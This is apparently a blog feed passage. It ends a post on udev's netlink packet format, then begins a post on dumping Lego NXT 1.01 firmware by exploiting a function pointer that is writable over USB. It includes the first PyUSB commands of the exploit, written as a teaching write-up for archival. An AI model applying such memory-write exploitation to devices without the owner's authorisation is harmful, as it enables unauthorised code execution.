&lt;p&gt;The first line consists of an "action", &lt;code&gt;@&lt;/code&gt;, and a device path under &lt;code&gt;sysfs&lt;/code&gt; (i.e. normally at &lt;code&gt;/sys/devices/pci…&lt;/code&gt;). The rest of the lines contain key-value pairs that depend on the individual drivers and subsystems in the kernel. udev is then expected to match this information with rules it knows about in order to set up the new device.&lt;/p&gt;
&lt;h1&gt;Listening to udev rebroadcasted events&lt;/h1&gt;
&lt;p&gt;Recall that kernel events were not the thing we were actually interested in. We wanted &lt;em&gt;udev's&lt;/em&gt; version of the events. Browsing through &lt;a href="https://github.com/systemd/systemd/blob/8df624bfdd658a68cf51825e30f60a39d34558da/src/libudev/libudev-monitor.c#L33-L41"&gt;libudev's source code&lt;/a&gt;, we can see that udev events are &lt;em&gt;also&lt;/em&gt; broadcast using netlink. Even though netlink is often used to communicate with the kernel, &lt;code&gt;NETLINK_KOBJECT_UEVENT&lt;/code&gt; allows for userspace-to-userspace communication. We just have to change the multicast group in our sample program to &lt;code&gt;MONITOR_GROUP_UDEV&lt;/code&gt; which is &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we &lt;code&gt;hexdump&lt;/code&gt; the messages we receive, they look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;00000000:   6c 69 62 75 64 65 76 00 fe ed ca fe 28 00 00 00     libudev.....(...
00000010:   28 00 00 00 2f 02 00 00 a9 30 e9 67 00 00 00 00     (.../....0.g....
00000020:   02 08 20 08 00 40 10 09 55 44 45 56 5f 44 41 54     .. ..@..UDEV_DAT
00000030:   41 42 41 53 45 5f 56 45 52 53 49 4f 4e 3d 31 00     ABASE_VERSION=1.
00000040:   41 43 54 49 4f 4e 3d 61 64 64 00 44 45 56 50 41     ACTION=add.DEVPA
00000050:   54 48 3d 2f 64 65 76 69 63 65 73 2f 70 63 69 30     TH=/devices/pci0
…
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In addition to the key-value strings, there is now a binary header.&lt;/p&gt;
&lt;h1 id="format"&gt;udev packet format&lt;/h1&gt;
&lt;p&gt;This is the section you probably came here for.&lt;/p&gt;
&lt;p&gt;udev's packet format is versioned, and the version in common use for at least the past 10-15 years has been version &lt;code&gt;0xfeedcafe&lt;/code&gt;. Searches of GitHub also show a version &lt;code&gt;0xcafe1dea&lt;/code&gt;, but it's not clear when the transition between the two happened. There does not seem to be any effort for backwards nor forwards compatibility.&lt;/p&gt;
&lt;p&gt;udev's packet format exists in the code &lt;a href="https://github.com/systemd/systemd/blob/8df624bfdd658a68cf51825e30f60a39d34558da/src/libsystemd/sd-device/device-monitor.c#L72-L89"&gt;here&lt;/a&gt;. The following is my own equivalent version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;udev_packet_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// contains &amp;quot;libudev&amp;quot; with a null terminator&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libudev_magic&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// contains 0xfeedcafe (big-endian)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// size of this header. *native* endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;header_sz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// offset to the (null-terminated strings) properties. *native* endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;properties_off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// size of the properties. *native* endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;properties_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// hashes etc for filtering. big-endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A number of fields in this header use the native endianness of the udev process. This might cause issues with cross-endianness qemu-user processes, but I haven't personally tested this. There does not appear to be any explicit provision for handling this situation, but &lt;code&gt;header_sz&lt;/code&gt; can be used to sniff for the appropriate endiannness.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;header_sz&lt;/code&gt; is not used by libudev, only &lt;code&gt;properties_off&lt;/code&gt;. In practice, these two fields contain the same value.&lt;/p&gt;
&lt;p&gt;udev transmits several hashes in order to allow message receivers to use &lt;a href="https://docs.kernel.org/networking/filter.html"&gt;&lt;abbr title="Berkeley Packet Filter"&gt;BPF&lt;/abbr&gt;&lt;/a&gt; for filtering. This avoids the kernel unnecessarily waking up uninterested processes, which could potentially save performance or power. This is not done by the demo program above.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;subsystem_hash&lt;/code&gt; is a MurmurHash2 hash of the &lt;code&gt;SUBSYSTEM=&lt;/code&gt; key. If the key isn't present, the value is 0.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;devtype_hash&lt;/code&gt; is a MurmurHash2 hash of the &lt;code&gt;DEVTYPE=&lt;/code&gt; key. If the key isn't present, the value is 0.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tag_bloom_hi&lt;/code&gt; and &lt;code&gt;tag_bloom_lo&lt;/code&gt; form a 64-bit &lt;a href="https://en.wikipedia.org/wiki/Bloom_filter"&gt;Bloom filter&lt;/a&gt; of the entries in the &lt;code&gt;TAG=&lt;/code&gt; key (which are normally separated by &lt;code&gt;:&lt;/code&gt; characters). If no keys are present, the value is 0. A Bloom filter is a special data structure based on hashes which can either return "this element is certainly not in the set" or "this element might be in the set, but this could also just be a false positive". In this case, it allows BPF to preemptively filter out events that definitely do not contain the proper &lt;code&gt;TAG&lt;/code&gt;s.&lt;/p&gt;
&lt;p&gt;The Bloom filter uses 4 small hashes, where each small hash takes a different slice of bits from the MurmurHash2 of the tag. This is shown in the sample code above:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0b111111&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;"Security Considerations" (RFC 6919)&lt;/h1&gt;
&lt;p&gt;These udev netlink messages are supposed to be sent with the credentials (process ID, user ID, group ID) of the sending process. libudev will not accept messages without this. The &lt;code&gt;SO_PASSCRED&lt;/code&gt; option is used to enable receving credentials, as described in the &lt;a href="https://man7.org/linux/man-pages/man7/unix.7.html"&gt;man page for Unix domain sockets on Linux&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kernel messages are sent with these values all 0. This is important for udev to check in order to avoid taking action due to spoofed messages.&lt;/p&gt;
&lt;p&gt;Messages &lt;em&gt;from&lt;/em&gt; udev to generic userspace programs are also expected to come from either uid 0 or else &lt;a href="https://github.com/systemd/systemd/blob/8df624bfdd658a68cf51825e30f60a39d34558da/src/libsystemd/sd-device/device-monitor.c#L539-L547"&gt;something relating to user namespaces which I don't fully understand&lt;/a&gt;. I also don't understand why it is necessary for random programs to check this, since netlink normally only allows uid 0 to send messages.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Dumping Lego NXT firmware off of an existing brick</title><link href="https://arcanenibble.com/dumping-lego-nxt-firmware-off-of-an-existing-brick.html" rel="alternate"></link><published>2025-08-29T00:00:00+00:00</published><updated>2025-08-29T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-08-29:/dumping-lego-nxt-firmware-off-of-an-existing-brick.html</id><summary type="html">&lt;p&gt;Catgirls can have little a RCE, as a treat&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've recently been contributing to the &lt;a href="https://github.com/pybricks/"&gt;Pybricks&lt;/a&gt; project, a community-run port of MicroPython to Lego Mindstorms hardware. As part of that, I obtained a used &lt;a href="https://en.wikipedia.org/wiki/Lego_Mindstorms_NXT"&gt;Lego NXT&lt;/a&gt; which just so happened to still be running the original version 1.01 firmware from when it launched in 2006. I wanted to archive a copy of this firmware, and doing so happened to involve the discovery of arbitrary code execution.&lt;/p&gt;
&lt;p&gt;The NXT is a relatively simple exploitation target and can serve as a good introduction to ARM and embedded exploit development.&lt;/p&gt;
&lt;h1&gt;Preliminary research&lt;/h1&gt;
&lt;p&gt;Or, in the words of a much more innocent era, "Google is your friend" &lt;small&gt;(lol, not anymore, making research skills even more critical than they ever have been)&lt;/small&gt;.&lt;/p&gt;
&lt;p&gt;"Surely somebody must've already archived a copy of this firmware, right?" I thought to myself. Unfortunately, this does not appear to have been the case. I searched but never came across a copy of this particular firmware version despite the extensive NXT enthusiast community.&lt;/p&gt;
&lt;p&gt;I &lt;em&gt;did&lt;/em&gt; come across &lt;a href="https://hightechkidsblog.blogspot.com/2006/07/nxt-firmware-should-i-download-103.html"&gt;a mention&lt;/a&gt; of a 1.03 firmware which appears to have been released on or very close to launch day. I suspect that enthusiasts and advanced users likely eagerly switched to newer and/or community-modified firmwares when they wanted newer features.&lt;/p&gt;
&lt;p&gt;The NXT is also old enough that, despite being part of "the Internet era", resources are starting to bitrot.&lt;/p&gt;
&lt;p&gt;Looks like I'm going to have to figure out how to retrieve a copy myself!&lt;/p&gt;
&lt;h1&gt;Use the firmware updater?&lt;/h1&gt;
&lt;p&gt;The first idea which came to mind for backing up firmware is "does the tool which is used to download new firmware to the NXT also allow retrieving the preexisting firmware?"&lt;/p&gt;
&lt;p&gt;From sources including &lt;a href="https://en.wikipedia.org/wiki/Lego_Mindstorms_NXT"&gt;the Wikipedia page&lt;/a&gt;, we find that the NXT is built around a Microchip (formerly Atmel) &lt;a href="https://www.microchip.com/en-us/product/at91sam7s256"&gt;AT91SAM7S256&lt;/a&gt; microcontroller, a distant ancestor of the SAM D parts that now power several Arduino, MicroPython, and CircuitPython boards. This chip contains a built-in bootloader program called SAM-BA which supports simple "read from memory" (traditionally known as &lt;code&gt;PEEK&lt;/code&gt;) and "write to memory" (traditionally known as &lt;code&gt;POKE&lt;/code&gt;) commands. This (deceptively!) seems like it'd work!&lt;/p&gt;
&lt;p&gt;Fortunately, while researching, I found out that &lt;a href="https://bricks.stackexchange.com/questions/16909/"&gt;somebody did try this already&lt;/a&gt; and was &lt;em&gt;unsuccessful&lt;/em&gt;. Attempting to enter the SAM-BA bootloader appears to automatically &lt;em&gt;overwrite&lt;/em&gt; part of the firmware which we want to back up. Good thing I did my research first! We have to find a different approach that doesn't involve entering firmware update mode.&lt;/p&gt;
&lt;h1&gt;Use JTAG?&lt;/h1&gt;
&lt;p&gt;JTAG is a hardware interface used for providing all sorts of "debug" and "test" functionality for circuit boards and chips. Precisely what can be done using JTAG varies greatly, but the microcontroller in the NXT allows JTAG to read and modify all of the CPU's state for debugging. This can be used to read back data stored inside the chip.&lt;/p&gt;
&lt;p class="aside_q"&gt;Is this related to using JTAG to hack an Xbox or a mobile phone?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;p&gt;Yes! Those devices also use the same low-level protocol known as JTAG. However, the debug and test commands which can be used &lt;em&gt;on top of&lt;/em&gt; JTAG are completely different. Think of JTAG as being similar to TCP or UDP while the chip-specific commands are higher-level protocols such as HTTP or SSH.&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, since this is a &lt;em&gt;hardware&lt;/em&gt; interface, using it involves taking apart the NXT and soldering to it (since the necessary connectors are not installed). Additionally, this chip is so old that its debug interface is cumbersome to set up and use (it doesn't support &lt;abbr title="Serial Wire Debug"&gt;SWD&lt;/abbr&gt;, &lt;abbr title="Arm Debug Interface, version 5"&gt;ADIv5&lt;/abbr&gt;, or any of the interfaces and protocols that the cheap modern tools are designed for).&lt;/p&gt;
&lt;p&gt;I considered this method a last resort but really wanted to find a software-only solution. Software-only solutions are generally easier to share and deploy, so finding one would allow many other people to also back up the firmware of bricks in their possession.&lt;/p&gt;
&lt;h1&gt;Use a custom NXT program?&lt;/h1&gt;
&lt;p&gt;For a device like the NXT which already allows for limited user-programmability, the first instinct is usually to explore what this limited or "sandboxed" environment allows you to do. How do NXT programs work? Can we just write an NXT program that dumps the firmware and sends it to the computer?&lt;/p&gt;
&lt;p&gt;If we hunt around, we can &lt;a href="http://www.cee.uma.pt/droide2/plataforma/documentation/fantom.pdf"&gt;find&lt;/a&gt; the "LEGO MINDSTORMS NXT Executable File Specification" which explains that NXT programs run in a bytecode &lt;abbr title="Virtual Machine"&gt;VM&lt;/abbr&gt; and doesn't have the ability to read/write arbitrary memory. Variables are restricted to a "data segment" of fixed size, and all memory accesses must be inside it. This means that we cannot "just" write an NXT program (unless we find a bug in the VM which allows us to access memory we're not supposed to).&lt;/p&gt;
&lt;p class="aside_q"&gt;What is the difference between a VM and "native" code?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;div&gt;
&lt;p&gt;"Native" code refers to code which a CPU can directly run. A &lt;em&gt;virtual machine&lt;/em&gt; is a way of adding a layer of indirection between a program and the real CPU. Computer scientists love solving problems by adding indirection, and a virtual machine can be used to solve problems such as incompatibility, convenience, and/or security.&lt;/p&gt;

&lt;p&gt;For example, a virtual machine can be used to take code designed for one type of CPU and run it on a different type of CPU. This is often called an &lt;em&gt;emulator&lt;/em&gt;, and they can be useful when it isn't possible to recompile the code for the new CPU (such as if the original program is a closed-source video game for a proprietary game console but you want to run it on a desktop PC).&lt;/p&gt;

&lt;p&gt;Java and .NET run on virtual machines which are specifically designed so that managing memory is more convenient (such as by having garbage collection). They can also be used to implement security by funneling "dangerous" operations into specific, limited pathways. The NXT's virtual machine is a virtual machine of this type.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;h1&gt;The NXT firmware&lt;/h1&gt;
&lt;p&gt;For those who aren't aware, the source code of the NXT firmware is publicly available! However, many links to it have bitrotted, source code only seems to have been released for &lt;em&gt;some&lt;/em&gt; versions (certainly not &lt;em&gt;every&lt;/em&gt;), and it's not even clear which versions of the code have been archived and still exist. (For example, the seemingly-official &lt;code&gt;LEGO-Robotics/NXT-Firmware&lt;/code&gt; repository on GitHub... is actually a community-modified firmware! Its history also only contains versions 1.05 and 1.29 specifically and not, for example, the final 1.31 or the original 1.01.)&lt;/p&gt;
&lt;p&gt;Nonetheless, we can still &lt;a href="https://github.com/dlech/nxt-firmware"&gt;study it&lt;/a&gt; to see if we can find anything interesting. At the same time, we can also study a &lt;a href="https://github.com/Chris00/ocaml-mindstorm/tree/master/doc/NXT/BDK"&gt;copy of the NXT Bluetooth Developer Kit&lt;/a&gt; in order to understand how the computer communicates with the brick. (Despite being the "Bluetooth" developer kit, the documented protocol and commands are used over USB as well.)&lt;/p&gt;
&lt;h2&gt;NXT communications protocol&lt;/h2&gt;
&lt;p&gt;From reading through the "LEGO MINDSTORMS NXT Communication Protocol" and "LEGO MINDSTORMS NXT Direct Commands" documents, we start to see the following high-level overview:&lt;/p&gt;
&lt;p&gt;The protocol contains two categories of commands, "system" and "direct". System commands vaguely relate to "operating system" functionality, and direct commands vaguely relate to "actually operating a robot". In general, this protocol &lt;em&gt;also&lt;/em&gt; seems to specifically &lt;em&gt;not&lt;/em&gt; allow performing arbitrary operations and badness such as accessing the firmware or getting native code execution outside of the VM. It appears to be designed to give friendly access to &lt;em&gt;only&lt;/em&gt; the NXT's virtual filesystem and bytecode interpreter.&lt;/p&gt;
&lt;p&gt;Since both the VM and the communications protocol appear to be designed to keep us out, it's starting to look like we're going to need to find some kind of exploit.&lt;/p&gt;
&lt;h2&gt;IO-Maps&lt;/h2&gt;
&lt;p&gt;While looking through all of these documents, I generally focused my attention on "low-level" functionality, as it is much more likely to contain the ability to access the firmware and/or arbitrary memory. One feature, "IO-Maps", immediately stood out.&lt;/p&gt;
&lt;p&gt;In the NXT Communication Protocol document, IO-Maps are described as "the well-described layer between the different controllers/drivers stack and the VM running the user's code." That sounds potentially interesting if it allows access to drivers in ways which aren't normally allowed. Also, if this is an interface which isn't normally used, it is a potential location for unexpected and exploitable bugs.&lt;/p&gt;
&lt;p&gt;So... where does one find the so-called "well-described" description of what IO-Maps can do?&lt;/p&gt;
&lt;p&gt;One of the best explanations I found was &lt;a href="http://lego.itam.mx/misc/manuales/NXC/guide.pdf"&gt;an old copy of the NXC programmer's guide&lt;/a&gt;. NXC (Not eXactly C) is an alternative frontend for creating NXT programs for the stock firmware in a C-like language rather than graphical blocks. This programmer's guide lists all of the IO-Map offsets for each firmware module, and the explanations make it clear that IO-Maps contain essentially all of each module's internal state.&lt;/p&gt;
&lt;p&gt;Further searching finds &lt;a href="https://ni.fr.eu.org/lego/nxt_memory_access/"&gt;this&lt;/a&gt; blog post explaining how it's possible to watch and plot variables in the user program by reading from the VM module's IO-Map. It definitely feels like we could be on to something here!&lt;/p&gt;
&lt;h3&gt;IO-Maps in the firmware source code&lt;/h3&gt;
&lt;p&gt;How do you find the IO-Map structures in the firmware source code? That blog post lists a &lt;code&gt;struct&lt;/code&gt;, but where is said struct?&lt;/p&gt;
&lt;p&gt;It turns out that all IO-Maps are defined in &lt;code&gt;.iom&lt;/code&gt; files in the firmware, with the VM's being defined in &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_cmd.iom"&gt;&lt;code&gt;c_cmd.iom&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Big fat exploit&lt;/h1&gt;
&lt;p&gt;Without even having to look at any other modules, we can already spot something: the VM IO-Map contains a function pointer &lt;code&gt;pRCHandler&lt;/code&gt;! What does this function pointer do?&lt;/p&gt;
&lt;p&gt;It turns out that &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_comm.c#L392-L414"&gt;this is the command handler for "direct" commands&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Is this... really just a native code function pointer sitting inside this IO-Map structure which is both readable &lt;em&gt;and&lt;/em&gt; writable over USB?&lt;/p&gt;
&lt;p class="aside_q"&gt;What is a function pointer? Why is finding a function pointer such a big deal?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;p&gt;A function pointer is a piece of data which stores the location of some code. A program uses this data to decide what code to run next. Programs themselves can modify function pointers in order to alter their functionality as they run, but, if &lt;em&gt;we&lt;/em&gt; can modify the function pointer, we can &lt;em&gt;also&lt;/em&gt; alter what the program does, including in ways that may be unintended.&lt;/p&gt;&lt;/div&gt;

&lt;h2&gt;Scoping out the exploit&lt;/h2&gt;
&lt;p&gt;In order to try out whether this even has a chance of working, we will need to send commands to the NXT over USB. This can be done in many different ways, but here we will use the &lt;a href="https://www.python.org/"&gt;Python&lt;/a&gt; programming language. Python is very suitable for testing and prototyping because it has a &lt;abbr title="Read-Eval-Print-Loop"&gt;REPL&lt;/abbr&gt; and many third-party libraries implementing functionality that we can reuse. In this case, we will use the &lt;a href="https://github.com/pyusb/pyusb"&gt;PyUSB&lt;/a&gt; library to talk to the NXT.&lt;/p&gt;
&lt;p&gt;&lt;small&gt;Setting up Python, creating a &lt;em&gt;virtualenv&lt;/em&gt;, installing PyUSB, installing USB drivers, and configuring USB permissions will all be left as an exercise for the reader. This &lt;em&gt;is&lt;/em&gt; all very important, but "setting up and configuring a development environment" is a &lt;em&gt;huge&lt;/em&gt; task all on its own, requiring &lt;em&gt;tons&lt;/em&gt; of often-poorly-documented implicit knowledge, and I wanted to get this article done in a reasonable amount of time.&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;First we need to open a connection to the NXT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;usb.core&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;usb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idVendor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x0694&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idProduct&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x0002&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_configuration&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we need to see if we can indeed access the VM (or "command") module's IO-Map:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x01\x94\x01\x00\x01\x00\x00\x00\x10\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
